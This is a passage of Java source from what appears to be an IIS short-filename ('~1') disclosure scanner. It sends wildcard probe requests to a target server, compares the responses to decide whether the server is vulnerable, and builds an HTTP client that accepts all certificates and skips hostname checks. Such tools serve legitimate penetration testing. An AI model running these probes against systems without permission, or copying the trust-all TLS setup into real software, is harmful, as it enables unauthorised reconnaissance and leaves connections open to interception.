(Math.abs(targetItem.length() - sourceItem.length()) <= responseLengthDifferenceThreshold) { 1394 | // we can safely ignore it as it is within the threshold 1395 | isUnique = false; 1396 | break; 1397 | } 1398 | } 1399 | } 1400 | } else { 1401 | isUnique = false; 1402 | } 1403 | 1404 | if (!isUnique) { 1405 | break; 1406 | } 1407 | } 1408 | 1409 | return !isUnique; 1410 | } 1411 | 1412 | 1413 | private boolean isVulnerable() { 1414 | boolean result = false; 1415 | try { 1416 | validStatusList = getUniqueResponseList("/" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart); 1417 | 1418 | List tempInvalidStatus1List = getUniqueResponseList("/1234567890" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart); 1419 | 1420 | List tempInvalidStatus1UniqueList = keepUniqueResponseList(tempInvalidStatus1List, invalidStatusList, acceptableDifferenceLengthBetweenResponses); 1421 | 1422 | if (!doResponseListsShareOneItem(validStatusList, tempInvalidStatus1UniqueList, acceptableDifferenceLengthBetweenResponses)) { 1423 | invalidStatusList.addAll(tempInvalidStatus1UniqueList); 1424 | 1425 | // Invalid different name 1426 | List tempInvalidStatus2List = getUniqueResponseList("/0123456789" + asteriskSymbol + "~1." + asteriskSymbol + magicFinalPart); 1427 | List tempInvalidStatus2UniqueList = keepUniqueResponseList(tempInvalidStatus2List, invalidStatusList, acceptableDifferenceLengthBetweenResponses); 1428 | invalidStatusList.addAll(tempInvalidStatus2UniqueList); 1429 | 1430 | // Invalid name and extension 1431 | List tempInvalidStatus3List = getUniqueResponseList("/0123456789" + asteriskSymbol + "~1.1234" + asteriskSymbol + magicFinalPart); 1432 | List tempInvalidStatus3UniqueList = keepUniqueResponseList(tempInvalidStatus3List, invalidStatusList, acceptableDifferenceLengthBetweenResponses); 1433 | invalidStatusList.addAll(tempInvalidStatus3UniqueList); 1434 | 1435 | // If two different invalid requests lead to different responses, we cannot rely on them unless their length difference is negligible! 1436 | if (doResponseListsShareOneItem(tempInvalidStatus1List, tempInvalidStatus2List, acceptableDifferenceLengthBetweenResponses)) { 1437 | if (doResponseListsShareOneItem(tempInvalidStatus2List, tempInvalidStatus3List, acceptableDifferenceLengthBetweenResponses)) { 1438 | isExtensionReliable = true; 1439 | } else { 1440 | isExtensionReliable = false; 1441 | } 1442 | 1443 | result = true; 1444 | } 1445 | 1446 | List otherUrlInvalidCheckPatterns = new ArrayList<>(Arrays.asList( 1447 | "/" + asteriskSymbol + "~1.1234" + asteriskSymbol + magicFinalPart, // Invalid extension 1448 | "/1234567890" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart, // Invalid name with no extension 1449 | "/1234567890" + asteriskSymbol + "~1" + questionMarkSymbol + magicFinalPart, // Invalid name with no extension and question mark symbol 1450 | "/" + new String(new char[10]).replace("\0", questionMarkSymbol) + "~1" + asteriskSymbol + magicFinalPart, // Invalid name contains question mark symbol with no extension 1451 | "/1234567890~1.1234" + magicFinalPart // Invalid name with no special characters 1452 | 1453 | )); 1454 | 1455 | for (String item : otherUrlInvalidCheckPatterns) { 1456 | List tempInvalidStatusNList = getUniqueResponseList(item); 1457 | List tempInvalidStatusNUniqueList = keepUniqueResponseList(tempInvalidStatusNList, invalidStatusList, acceptableDifferenceLengthBetweenResponses); 1458 | invalidStatusList.addAll(tempInvalidStatusNUniqueList); 1459 | } 1460 | } 1461 | 1462 | } catch (Exception err) { 1463 | if (debugMode) { 1464 | StringWriter sw = new StringWriter(); 1465 | err.printStackTrace(new PrintWriter(sw)); 1466 | String exceptionAsString = sw.toString(); 1467 | showOutputs(exceptionAsString, OutputType.ERROR); 1468 | } 1469 | //showOutputs("isReliable Error: " + err.toString()); 1470 | } 1471 | showOutputs("isReliable = " + result, OutputType.DEBUG); 1472 | showOutputs("IsExtensionReliable = " + isExtensionReliable, OutputType.DEBUG); 1473 | return result; 1474 | } 1475 | 1476 | private boolean isQuestionMarkReliable() { 1477 | boolean result = false; 1478 | 1479 | List initValidStatusList; 1480 | 1481 | if (!validStatusList.isEmpty()) 1482 | initValidStatusList = validStatusList; 1483 | else { 1484 | initValidStatusList = getUniqueResponseList("/" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart); 1485 | validStatusList = initValidStatusList; 1486 | } 1487 | 1488 | try { 1489 | List tempValidStatusList = getUniqueResponseList("/?" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart); 1490 | 1491 | if (doResponseListsShareOneItem(initValidStatusList, tempValidStatusList, acceptableDifferenceLengthBetweenResponses)) { 1492 | result = true; 1493 | } else { 1494 | for (String tempValidStatus : tempValidStatusList) { 1495 | if (initValidStatusList.stream().anyMatch(str -> str.substring(0, 50).equals(tempValidStatus.substring(0, 50)))) { 1496 | result = true; 1497 | break; 1498 | } 1499 | } 1500 | } 1501 | 1502 | 1503 | } catch (Exception err) { 1504 | if (debugMode) { 1505 | StringWriter sw = new StringWriter(); 1506 | err.printStackTrace(new PrintWriter(sw)); 1507 | String exceptionAsString = sw.toString(); 1508 | showOutputs(exceptionAsString, OutputType.ERROR); 1509 | } 1510 | //showOutputs("isQuestionMarkReliable Error: " + err.toString()); 1511 | } 1512 | if (result == false) { 1513 | try { 1514 | List tempValidStatusList = getUniqueResponseList("/>" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart); 1515 | 1516 | if (doResponseListsShareOneItem(initValidStatusList, tempValidStatusList, acceptableDifferenceLengthBetweenResponses)) { 1517 | result = true; 1518 | } else { 1519 | for (String tempValidStatus : tempValidStatusList) { 1520 | if (initValidStatusList.stream().anyMatch(str -> str.substring(0, 50).equals(tempValidStatus.substring(0, 50)))) { 1521 | result = true; 1522 | break; 1523 | } 1524 | } 1525 | } 1526 | 1527 | if (result) { 1528 | questionMarkSymbol = ">"; 1529 | } 1530 | 1531 | } catch (Exception err) { 1532 | if (debugMode) { 1533 | StringWriter sw = new StringWriter(); 1534 | err.printStackTrace(new PrintWriter(sw)); 1535 | String exceptionAsString = sw.toString(); 1536 | showOutputs(exceptionAsString, OutputType.ERROR); 1537 | } 1538 | //showOutputs("isQuestionMarkReliable Error: " + err.toString()); 1539 | } 1540 | } 1541 | 1542 | showOutputs("isQuestionMarkReliable = " + result, OutputType.DEBUG); 1543 | 1544 | return result; 1545 | } 1546 | 1547 | /* 1548 | private String sendHTTPReqLegacy(String strAddition, int retryTimes) { 1549 | String finalResponse = ""; 1550 | String charset = "UTF-8"; 1551 | Object content = null; 1552 | HttpURLConnection conn = null; 1553 | incReqCounter(1); 1554 | try { 1555 | CloseableHttpClient httpclient = HttpClients.createDefault(); 1556 | 1557 | // Create a trust manager that does not validate certificate chains 1558 | TrustManager[] trustAllCerts = new TrustManager[]{ 1559 | new X509TrustManager() { 1560 | 1561 | public java.security.cert.X509Certificate[] getAcceptedIssuers() { 1562 | return null; 1563 | } 1564 | 1565 | public void checkClientTrusted( 1566 | java.security.cert.X509Certificate[] certs, String authType) { 1567 | } 1568 | 1569 | public void checkServerTrusted( 1570 | java.security.cert.X509Certificate[] certs, String authType) { 1571 | } 1572 | } 1573 | }; 1574 | 1575 | // Install the all-trusting trust manager 1576 | try { 1577 | SSLContext sc = SSLContext.getInstance("SSL"); 1578 | sc.init(null, trustAllCerts, new java.security.SecureRandom()); 1579 | HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); 1580 | } catch (Exception e) { 1581 | } 1582 | 1583 | HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { 1584 | 1585 | public boolean verify(String string, SSLSession ssls) { 1586 | return true; 1587 | } 1588 | }); 1589 | 1590 | // removing additional slash character! 1591 | if (strAddition.startsWith("/") && destURL.endsWith("/")) { 1592 | strAddition = strAddition.substring(1); 1593 | } 1594 | 1595 | String urlEncodedStrAddition = ""; 1596 | 1597 | 1598 | if(performUrlEncoding){ 1599 | String fullUrlEncodedStrAddition = URLEncoder.encode(strAddition, StandardCharsets.UTF_8).replace("*", "%2a"); // Java does not encode asterisk 1600 | urlEncodedStrAddition = fullUrlEncodedStrAddition; 1601 | }else{ 1602 | // the ones that IIS doesn't like without encoding 1603 | urlEncodedStrAddition = strAddition.replace("<", "%3c").replace(">", "%3e").replace("?", "%3f"); 1604 | urlEncodedStrAddition = urlEncodedStrAddition.replaceAll("%(?![a-fA-F0-9]{2})","%25"); 1605 | } 1606 | 1607 | URL finalURL = new URL(destURL + urlEncodedStrAddition + additionalQuery); 1608 | 1609 | if (!proxyServerName.equals("") && !proxyServerPort.equals("")) { 1610 | // Use the proxy server to sends the requests 1611 | conn = (HttpURLConnection) finalURL.openConnection(proxy); 1612 | } else { 1613 | conn = (HttpURLConnection) finalURL.openConnection(); 1614 | } 1615 | 1616 | conn.setConnectTimeout(maxConnectionTimeOut); // 10 sec 1617 | conn.setReadTimeout(maxConnectionTimeOut); // 10 sec 1618 | conn.setInstanceFollowRedirects(false); 1619 | if (!customUserAgent.equals("")) { 1620 | conn.setRequestProperty("User-agent", customUserAgent); 1621 | } 1622 | if (!customCookie.equals("")) { 1623 | conn.setRequestProperty("Cookie", customCookie); 1624 | } 1625 | 1626 | for (String newHeader : additionalHeaders) { 1627 | if(newHeader.contains(":")) 1628 | conn.setRequestProperty(newHeader.split(":")[0], newHeader.split(":")[1]); 1629 | } 1630 | 1631 | // Set the request method! 1632 | //conn.setRequestMethod(reliableRequestMethod); 1633 | setRequestMethodUsingWorkaroundForJREBug(conn, reliableRequestMethod); 1634 | 1635 | int length = 0; 1636 | String responseHeaderStatus = ""; 1637 | 1638 | try { 1639 | // Send the request. 1640 | conn.connect(); 1641 | 1642 | Thread.sleep(maxDelayAfterEachRequest); // Delay after each request 1643 | 1644 | // Get the response. 1645 | responseHeaderStatus = conn.getHeaderField(0); 1646 | 1647 | length = conn.getContentLength(); 1648 | 1649 | content = conn.getContent(); 1650 | } catch (java.net.ConnectException e) { 1651 | 1652 | if (concurrentThreads > 10) { 1653 | concurrentThreads = 10; 1654 | } else if (concurrentThreads > 5) { 1655 | concurrentThreads = 5; 1656 | } else if (concurrentThreads > 1) { 1657 | concurrentThreads = 1; 1658 | } 1659 | 1660 | boolIsNetworkReliable = false; 1661 | Thread.sleep(sleepTime * 1000); 1662 | if (sleepTime < 10) 1663 | sleepTime++; 1664 | 1665 | 1666 | //showOutputs("Error: Connection error. Please check the protocol, the domain name, or the proxy server.",OutputType.ERROR); 1667 | showOutputs("Number of threads should be reduced - can be too late but reduced to:" + concurrentThreads, OutputType.ERROR, ShowProgressMode.ALL); 1668 | showOutputs("Sleep for " + sleepTime + " seconds...", OutputType.ERROR, ShowProgressMode.ALL); 1669 | throw new Exception("Error: Connection error. Please check the protocol, the domain name, or the proxy server."); 1670 | 1671 | 1672 | } catch (Exception e) { 1673 | if (responseHeaderStatus == null) { 1674 | //time-out 1675 | throw new Exception("Time-Out was detected..."); 1676 | } else { 1677 | //400 errors? we like 400 errors! 1678 | if (debugMode) { 1679 | //e.printStackTrace(); 1680 | } 1681 | } 1682 | } 1683 | 1684 | final java.io.InputStream stream = conn.getErrorStream(); 1685 | // Get the content. 1686 | 1687 | if (stream != null && length > -1) { 1688 | content = readStream(length, stream, charset); 1689 | stream.close(); 1690 | } else if (content != null && content instanceof java.io.InputStream && length > -1) { 1691 | content = readStream(length, (java.io.InputStream) content, charset); 1692 | } 1693 | 1694 | //conn.disconnect(); 1695 | 1696 | if (content == null) { 1697 | finalResponse = ""; 1698 | } else { 1699 | finalResponse = processResponse(content.toString(),strAddition,responseHeaderStatus,charset); 1700 | 1701 | } 1702 | } catch (BindException bindException) { 1703 | try { 1704 | if (conn != null) { 1705 | conn.disconnect(); 1706 | } 1707 | 1708 | showOutputs("HTTPReqResponse() - Increase your port binding range to get better result -> Wait for 1 seconds...", OutputType.DEBUG, ShowProgressMode.ALL); 1709 | 1710 | Thread.sleep(1000); 1711 | } catch (Exception err) { 1712 | if (debugMode) { 1713 | StringWriter sw = new StringWriter(); 1714 | err.printStackTrace(new PrintWriter(sw)); 1715 | String exceptionAsString = sw.toString(); 1716 | showOutputs(exceptionAsString, OutputType.ERROR); 1717 | } 1718 | } 1719 | finalResponse = sendHTTPReq(strAddition, retryTimes); 1720 | } catch (Exception err) { 1721 | if (conn != null) { 1722 | conn.disconnect(); 1723 | } 1724 | retryTimes++; 1725 | if (debugMode) { 1726 | StringWriter sw = new StringWriter(); 1727 | err.printStackTrace(new PrintWriter(sw)); 1728 | String exceptionAsString = sw.toString(); 1729 | showOutputs(exceptionAsString, OutputType.ERROR); 1730 | } 1731 | 1732 | showOutputs("HTTPReqResponse() - Retry: " + Integer.toString(retryTimes), OutputType.DEBUG, ShowProgressMode.ALL); 1733 | 1734 | 1735 | if (retryTimes < maxRetryTimes) { 1736 | finalResponse = sendHTTPReq(strAddition, retryTimes); 1737 | } 1738 | } 1739 | 1740 | return finalResponse; 1741 | } 1742 | */ 1743 | 1744 | private String cleanDynamicValuesInResponse(String finalResponse, String strAddition, String charset) { 1745 | if (charset.isBlank()) 1746 | charset = "UTF-8"; 1747 | 1748 | String fullUrlEncodedStrAddition = URLEncoder.encode(strAddition, StandardCharsets.UTF_8).replace("*", "%2a"); 1749 | String partlyUrlEncodedStrAddition = strAddition.replace("<", "%3c").replace(">", "%3e").replace("?", "%3f"); 1750 | 1751 | // Define a custom CharsetDecoder that ignores illegal hex characters 1752 | Charset charsetObj = Charset.forName(charset).newEncoder() 1753 | .onMalformedInput(CodingErrorAction.IGNORE) 1754 | .onUnmappableCharacter(CodingErrorAction.IGNORE) 1755 | .charset(); 1756 | try { 1757 | finalResponse = URLDecoder.decode(finalResponse.replaceAll("%(?![0-9a-fA-F]{2})", "%25"), charsetObj); 1758 | } catch (UnsupportedCharsetException e) { 1759 | // handle unsupported charset exception 1760 | } 1761 | 1762 | try { 1763 | finalResponse = StringEscapeUtils.unescapeHtml4(finalResponse); 1764 | } catch (Exception e) { 1765 | // handle unsupported exception 1766 | } 1767 | 1768 | // replacing \ with / 1769 | finalResponse = finalResponse.replaceAll("(?im)(\\\\)", "/"); 1770 | // replacing & with & just in case HTML decoding has failed 1771 | finalResponse = finalResponse.replaceAll("(?im)&", "&"); 1772 | // removing the following special characters from the response: ( ) . * ? 1773 | finalResponse = finalResponse.replaceAll("(?im)([\\(\\)\\.\\*\\?])", ""); 1774 | 1775 | // preparing patterns that can be dynamic based on what was added to the path 1776 | strAddition += "/" + fullUrlEncodedStrAddition; // to remove incoming data + even url encoded format 1777 | strAddition += "/" + additionalQuery; 1778 | strAddition += "/" + partlyUrlEncodedStrAddition; 1779 | strAddition = strAddition.replaceAll("(?im)([\\\\])", "/").replaceAll("(?im)&", "&").replaceAll("(?im)([\\(\\)\\.\\*\\?])", ""); 1780 | strAddition = strAddition.toLowerCase(); 1781 | String[] temp = removeDuplicatesAndBlanks(strAddition.split("/")); 1782 | 1783 | // removing the generated patterns based on what was added to the path 1784 | for (String s : temp) { 1785 | if (s.length() > 0) { 1786 | while (finalResponse.indexOf(s) > 0) { 1787 | finalResponse = finalResponse.replaceAll("(?im)(\\<[^>]+[a-z0-9\\-]=['\"`]([^\"]*" + Pattern.quote(s) + "[^\"]*)['\"`][^>]*>)", ""); // to remove a tag when it includes dynamic contents 1788 | finalResponse = finalResponse.replaceAll("(?im)" + Pattern.quote(s), ""); 1789 | } 1790 | } 1791 | } 1792 | 1793 | // The following RegEx was too intrusive and could replace a large part of a required text in the body 1794 | //finalResponse = finalResponse.replaceAll("(?im)(([\\n\\r\\x00]+)|((server error in).+>)|((physical path).+>)|((requested url).+>)|((handler<).+>)|((notification<).+>)|(\\://[a-zA-Z0-9\\-\\.]+\\.[a-zA-Z]{2,3}(/\\S*)?)|()|((content-type)[\\s]*[\\:\\=]+[\\s]*[\\w \\d\\=\\[\\,\\:\\-\\/\\;]*)|((length)[\\s]*[\\:\\=]+[\\s]*[\\w \\d\\=\\[\\,\\:\\-\\/\\;]*)|((tag|p3p|expires|date|age|modified|cookie)[\\s]*[\\:\\=]+[\\s]*[^\\r\\n]*)|([\\:\\-\\/\\ ]\\d{1,4})|(: [\\w\\d, :;=/]+\\W)|(^[\\w\\d, :;=/]+\\W$)|(\\d{1,4}[\\:\\-\\/\\ ]\\d{1,4}))", ""); 1795 | // The RegEx above has been broken down to smaller pieces to reduce confusions in the future 1796 | 1797 | // cleaning the response further 1798 | // removing some common .NET errors 1799 | finalResponse = finalResponse.replaceAll("(?im)(((server error in).+>)|((physical path).+>)|((requested url).+>)|((handler<).+>)|((notification<).+>))",""); 1800 | // removing HTML comments 1801 | finalResponse = finalResponse.replaceAll("(?im)()",""); 1802 | // removing URLs 1803 | finalResponse = finalResponse.replaceAll("(\\:[\\/\\\\]+[a-zA-Z0-9\\-\\.]+\\.[a-zA-Z]{2,3}([\\/\\\\]+[a-zA-Z\\/\\\\0-9%_\\-\\?=&\\.]*)?)",""); 1804 | 1805 | //this is the controversial bit which may cause false negatives :s 1806 | 1807 | if(ignoreHeaderLevel==2) { 1808 | // ignore value of all headers starting with X- 1809 | finalResponse = finalResponse.replaceAll("(?im)^(x\\-[^:]+:\\s*)[^\\r\\n]+$", "$1"); 1810 | // removing content-type header and its value 1811 | finalResponse = finalResponse.replaceAll("(?im)^content\\-type[\\s]*[\\:\\=]+[\\s]*[\\w \\d\\=\\[\\,\\:\\-\\/\\;]*", ""); 1812 | // removing content-length header and its replacements by WAFs 1813 | finalResponse = finalResponse.replaceAll("(?im)^content\\-l[ength]{4,}[\\s]*[\\:\\=]+[\\s]*[\\w \\d\\=\\[\\,\\:\\-\\/\\;]*", ""); 1814 | // removing more known dynamic headers and their values 1815 | finalResponse = finalResponse.replaceAll("(?i)(tag|p3p|expires|date|age|modified|cookie|report\\-to)[\\s]*[\\:\\=]+[\\s]*[^\\r\\n]*", ""); 1816 | // removing headers with less complex values 1817 | finalResponse = finalResponse.replaceAll("(?im)^[\\w\\d\\-]+\\s*:\\s*[\\w\\d, \\t:;=\\/]+$",""); 1818 | } 1819 | 1820 | // replace d attribute value in the path tag in a SVG as they are very long and annoying! 1821 | finalResponse = finalResponse.replaceAll("]*\\sd=\"([^\"]*)\""," uniqueSet = new HashSet<>(); 1843 | ArrayList uniqueList = new ArrayList<>(); 1844 | 1845 | for (String item : inputArray) { 1846 | String trimmedItem = item.trim(); 1847 | if (!trimmedItem.isEmpty() && uniqueSet.add(trimmedItem)) { 1848 | uniqueList.add(trimmedItem); 1849 | } 1850 | } 1851 | 1852 | return uniqueList.toArray(new String[0]); 1853 | } 1854 | private String convertHttpResponseToString(CloseableHttpResponse httpResponse, String charset) { 1855 | StringJoiner stringJoiner = new StringJoiner("\r\n"); 1856 | if (charset.isBlank()) 1857 | charset = "UTF-8"; 1858 | 1859 | stringJoiner.add(httpResponse.toString()); 1860 | 1861 | for (var item : httpResponse.getHeaders()) { 1862 | stringJoiner.add(item.getName() + ": " + item.getValue()); 1863 | } 1864 | 1865 | try { 1866 | HttpEntity entity = httpResponse.getEntity(); 1867 | if (entity != null) { 1868 | String responseString = EntityUtils.toString(entity, charset); 1869 | stringJoiner.add("\r\n"); 1870 | stringJoiner.add(responseString); 1871 | } 1872 | } catch (Exception e) { 1873 | 1874 | } 1875 | 1876 | return stringJoiner.toString(); 1877 | } 1878 | 1879 | private void createHTTPClient() { 1880 | // Create SSL socket factory with trust strategy for self-signed certificates 1881 | // Create a trust manager that does not validate certificate chains 1882 | Registry registry; 1883 | try { 1884 | TrustManager[] trustAllCerts = new TrustManager[]{ 1885 | new X509TrustManager() { 1886 | 1887 | public java.security.cert.X509Certificate[] getAcceptedIssuers() { 1888 | return null; 1889 | } 1890 | 1891 | public void checkClientTrusted( 1892 | java.security.cert.X509Certificate[] certs, String authType) { 1893 | } 1894 | 1895 | public void checkServerTrusted( 1896 | java.security.cert.X509Certificate[] certs, String authType) { 1897 | } 1898 | } 1899 | }; 1900 | // Install the all-trusting trust manager 1901 | SSLContext sslContext = SSLContext.getInstance("TLS"); 1902 | sslContext.init(null, trustAllCerts, new java.security.SecureRandom()); 1903 | 1904 | SSLConnectionSocketFactory insecureSSLTrust = new SSLConnectionSocketFactory(sslContext, NoopHostnameVerifier.INSTANCE); 1905 | 1906 | registry = RegistryBuilder.create() 1907 | .register("http", PlainConnectionSocketFactory.INSTANCE) 1908 | .register("https", insecureSSLTrust) 1909 | .build(); 1910 | 1911 | } catch (Exception e) { 1912 | registry = RegistryBuilder.create() 1913 | .register("http", PlainConnectionSocketFactory.getSocketFactory()) 1914 | .register("https", SSLConnectionSocketFactory.getSocketFactory()) 1915 | .build(); 1916 | } 1917 | 1918 | PoolingHttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager(registry); 1919 | connectionManager.setMaxTotal(DEFAULT_MAX_TOTAL_CONNECTIONS); 1920 | connectionManager.setDefaultMaxPerRoute(DEFAULT_MAX_CONNECTIONS_PER_ROUTE); 1921 | 1922 | 1923 | // Create HttpClient with custom SSL socket factory and request configuration 1924 | RequestConfig.Builder configBuilder = RequestConfig.custom() 1925 | .setConnectionRequestTimeout(maxConnectionTimeOut, TimeUnit.MILLISECONDS) 1926 | .setResponseTimeout(maxConnectionTimeOut, TimeUnit.MILLISECONDS) 1927 | .setRedirectsEnabled(false); 1928 | 1929 | RequestConfig config = configBuilder.build(); 1930 | 1931 | HttpClientBuilder httpClientBuilder = HttpClients.custom() 1932 | .setDefaultRequestConfig(config) 1933 | .setConnectionManager(connectionManager); 1934 | 1935 | if (!proxyServerName.equals("") && proxyServerPort > 0) { 1936 | // Use the proxy server to sends the requests 1937 | httpClientBuilder.setProxy(new HttpHost(proxyServerName, proxyServerPort)); 1938 | } 1939 | 1940 | if (!customUserAgent.equals("")) { 1941 | httpClientBuilder.setUserAgent(customUserAgent); 1942 | } 1943 | 1944 | List
headerList = new ArrayList<>(); 1945 | for (String header : additionalHeaders) { 1946 | if (header.contains(":")) { 1947 | String[] parts = header.split(": "); 1948 | headerList.add(new BasicHeader(parts[0], parts[1])); 1949 | } 1950 | } 1951 | 1952 | if (!customCookie.isBlank()) { 1953 | headerList.add(new BasicHeader("Cookie", customCookie)); 1954 | } 1955 | 1956 | if (!headerList.isEmpty()) { 1957 | httpClientBuilder.setDefaultHeaders(headerList); 1958 | } 1959 | 1960 | httpClient = httpClientBuilder.build(); 1961 | } 1962 | 1963 | private String sendHTTPReq(String strAddition) { 1964 | return sendHTTPReq(destURL, strAddition, reliableRequestMethod, "", 0); 1965 | } 1966 | 1967 | private String sendHTTPReq(String targetUrl, String strAddition, String httpMethod, String body, int retryCounter) { 1968 | if (httpMethod.isBlank()) 1969 | httpMethod = reliableRequestMethod; 1970 | if (targetUrl.isBlank()) 1971 | targetUrl = destURL; 1972 | 1973 | String finalResponse = ""; 1974 | String charset = "UTF-8"; 1975 | 1976 | CloseableHttpResponse httpResponse; 1977 | incReqCounter(1); 1978 | try { 1979 | if (httpClient == null) 1980 | createHTTPClient(); 1981 | 1982 | // removing additional slash character! 1983 | if (strAddition.startsWith("/") && destURL.endsWith("/")) { 1984 | strAddition = strAddition.substring(1); 1985 | } 1986 | String urlEncodedStrAddition = strAddition; 1987 | if (performUrlEncoding) { 1988 | urlEncodedStrAddition = URLEncoder.encode(strAddition, StandardCharsets.UTF_8).replace("*", "%2a"); // Java does not encode asterisk 1989 | } 1990 | String finalUrlStr = targetUrl + urlEncodedStrAddition + additionalQuery; 1991 | 1992 | // the ones that IIS doesn't like without encoding 1993 | finalUrlStr = finalUrlStr.replace("<", "%3c").replace(">", "%3e").replace("?", "%3f"); 1994 | // HTTPClient uses the URI class which raises java.net.URISyntaxException when certain characters are not encoded 1995 | finalUrlStr = finalUrlStr.replace("\\", "%5c").replace("`", "%60").replace("^", "%5e").replace("{", "%7b").replace("}", "%7d").replace("#", "%23"); 1996 | finalUrlStr = finalUrlStr.replaceAll("%(?![a-fA-F0-9]{2})", "%25"); 1997 | 1998 | BasicClassicHttpRequest httpRequest = new BasicClassicHttpRequest(httpMethod, finalUrlStr); 1999 | 2000 | //HttpUriRequestBase httpRequest = new HttpUriRequestBase(httpMethod, finalURL); 2001 | if (!body.isEmpty()) { 2002 | httpRequest.setEntity(new StringEntity(body)); 2003 | }else if(httpMethod.equals("POST") || httpMethod.equals("PUT") || httpMethod.equals("PATCH")){ 2004 | // this is needed to have "content-length: 0" in the header 2005 | httpRequest.setEntity(new StringEntity("")); 2006 | } 2007 | 2008 | 2009 | 2010 | try { 2011 | // Send the request. 2012 | // Execute request and handle response 2013 | 2014 | httpResponse = httpClient.execute(httpRequest); 2015 | finalResponse = convertHttpResponseToString(httpResponse, charset); 2016 | httpResponse.close(); 2017 | 2018 | //showOutputs("finalResponse: " + finalResponse, OutputType.DEBUG); 2019 | if (!finalResponse.isBlank()) { 2020 | String statusCode = String.valueOf(httpResponse.getCode()); 2021 | String firstLine = ""; 2022 | try (BufferedReader reader = new BufferedReader(new StringReader(finalResponse))) { 2023 | firstLine = reader.readLine(); 2024 | } catch (Exception e) { 2025 | 2026 | } 2027 | // Clean-up process 2028 | boolean removeHeader = false; 2029 | boolean removeBody = false; 2030 | if(ignoreHeaderLevel <= 1){ 2031 | // we do not need the headers, so we should remove them from the response 2032 | removeHeader = true; 2033 | } 2034 | if(ignoreBodyLevel == 0){ 2035 | // we do not need the headers, so we should remove them from the response 2036 | removeBody = true; 2037 | } 2038 | 2039 | if(!removeHeader || !removeBody){ 2040 | if(removeHeader || removeBody){ 2041 | Pattern pattern = Pattern.compile("\\R\\R"); // this matches either \r\n or \n as a new line 2042 | Matcher matcher = pattern.matcher(finalResponse); 2043 | String temp_header = finalResponse; 2044 | String temp_bodyPart = ""; 2045 | if (matcher.find()) { 2046 | temp_header = finalResponse.substring(0,matcher.end()); 2047 | temp_bodyPart = finalResponse.substring(matcher.end()); 2048 | } 2049 | 2050 | if(removeHeader){ 2051 | finalResponse = temp_bodyPart; 2052 | } 2053 | else if(removeBody){ 2054 | finalResponse = temp_header; 2055 | } 2056 | } 2057 | 2058 | if(!finalResponse.isBlank()) 2059 | finalResponse = cleanDynamicValuesInResponse(finalResponse, strAddition, charset); 2060 | 2061 | finalResponse = firstLine + "\r\n" + finalResponse; 2062 | }else{ 2063 | if(ignoreHeaderLevel == 0){ 2064 | finalResponse = statusCode; 2065 | }else{ 2066 | finalResponse = firstLine; 2067 | } 2068 | } 2069 | showOutputs("Cleaned Response to compare:\r\n" + finalResponse, OutputType.DEBUG); 2070 | } 2071 | 2072 | Thread.sleep(maxDelayAfterEachRequest); // Delay after each request 2073 | } catch (Exception e) { 2074 | if (debugMode) { 2075 | StringWriter sw = new StringWriter(); 2076 | e.printStackTrace(new PrintWriter(sw)); 2077 | String exceptionAsString = sw.toString(); 2078 | showOutputs(exceptionAsString, OutputType.ERROR); 2079 | } 2080 | try { 2081 | if (httpClient != null) { 2082 | httpClient.close(); 2083 | httpClient = null; 2084 | } 2085 | } catch (Exception ex) { 2086 | } 2087 | 2088 | if (concurrentThreads > 10) { 2089 | concurrentThreads = 10; 2090 | } else if (concurrentThreads > 5) { 2091 | concurrentThreads = 5; 2092 | } else if (concurrentThreads > 1) { 2093 | concurrentThreads = 1; 2094 | } 2095 | 2096 | isNetworkReliable = false; 2097 | Thread.sleep(sleepTime * 1000); 2098 | if (sleepTime < 10) 2099 | sleepTime++; 2100 | //showOutputs("Error: Connection error. Please check the protocol, the domain name, or the proxy server.",OutputType.ERROR); 2101 | showOutputs("Number of threads should be reduced - can be too late but reduced to: " + concurrentThreads, OutputType.ERROR, ShowProgressMode.ALL); 2102 | showOutputs("Sleep for " + sleepTime + " seconds...", OutputType.ERROR, ShowProgressMode.ALL); 2103 | throw new Exception("Error: Connection error. Please check the protocol, the domain name, or the proxy server."); 2104 | 2105 | 2106 | } 2107 | 2108 | } catch (Exception err) { 2109 | try { 2110 | 2111 | if (httpClient != null) { 2112 | httpClient.close(); 2113 | httpClient = null; 2114 | } 2115 | 2116 | } catch (Exception e) { 2117 | 2118 | } 2119 | retryCounter++; 2120 | if (debugMode) { 2121 | StringWriter sw = new StringWriter(); 2122 | err.printStackTrace(new PrintWriter(sw)); 2123 | String exceptionAsString = sw.toString(); 2124 | showOutputs(exceptionAsString, OutputType.ERROR); 2125 | } 2126 | 2127 | showOutputs("HTTPReqResponse() - Retry: " + String.valueOf(retryCounter), OutputType.DEBUG, ShowProgressMode.ALL); 2128 | 2129 | if (retryCounter < maxRetryTimes) { 2130 | finalResponse = sendHTTPReq(targetUrl, strAddition, httpMethod, body, retryCounter); 2131 | } 2132 | } 2133 | 2134 | return finalResponse; 2135 | } 2136 | 2137 | /* 2138 | // To use customised HTTP methods: https://java.net/jira/browse/JERSEY-639 2139 | private static final void setRequestMethodUsingWorkaroundForJREBug( 2140 | final HttpURLConnection httpURLConnection, final String method) { 2141 | try { 2142 | httpURLConnection.setRequestMethod(method); 2143 | // Check whether we are running on a buggy JRE 2144 | } catch (final ProtocolException pe) { 2145 | Class connectionClass = httpURLConnection.getClass(); 2146 | Field delegateField = null; 2147 | try { 2148 | delegateField = connectionClass.getDeclaredField("delegate"); 2149 | delegateField.setAccessible(true); 2150 | HttpURLConnection delegateConnection = (HttpURLConnection) delegateField 2151 | .get(httpURLConnection); 2152 | setRequestMethodUsingWorkaroundForJREBug(delegateConnection, method); 2153 | } catch (NoSuchFieldException e) { 2154 | // Ignore for now, keep going 2155 | } catch (IllegalArgumentException e) { 2156 | throw new RuntimeException(e); 2157 | } catch (IllegalAccessException e) { 2158 | throw new RuntimeException(e); 2159 | } 2160 | try { 2161 | Field methodField; 2162 | while (connectionClass != null) { 2163 | try { 2164 | methodField = connectionClass.getDeclaredField("method"); 2165 | } catch (NoSuchFieldException e) { 2166 | connectionClass = connectionClass.getSuperclass(); 2167 | continue; 2168 | } 2169 | 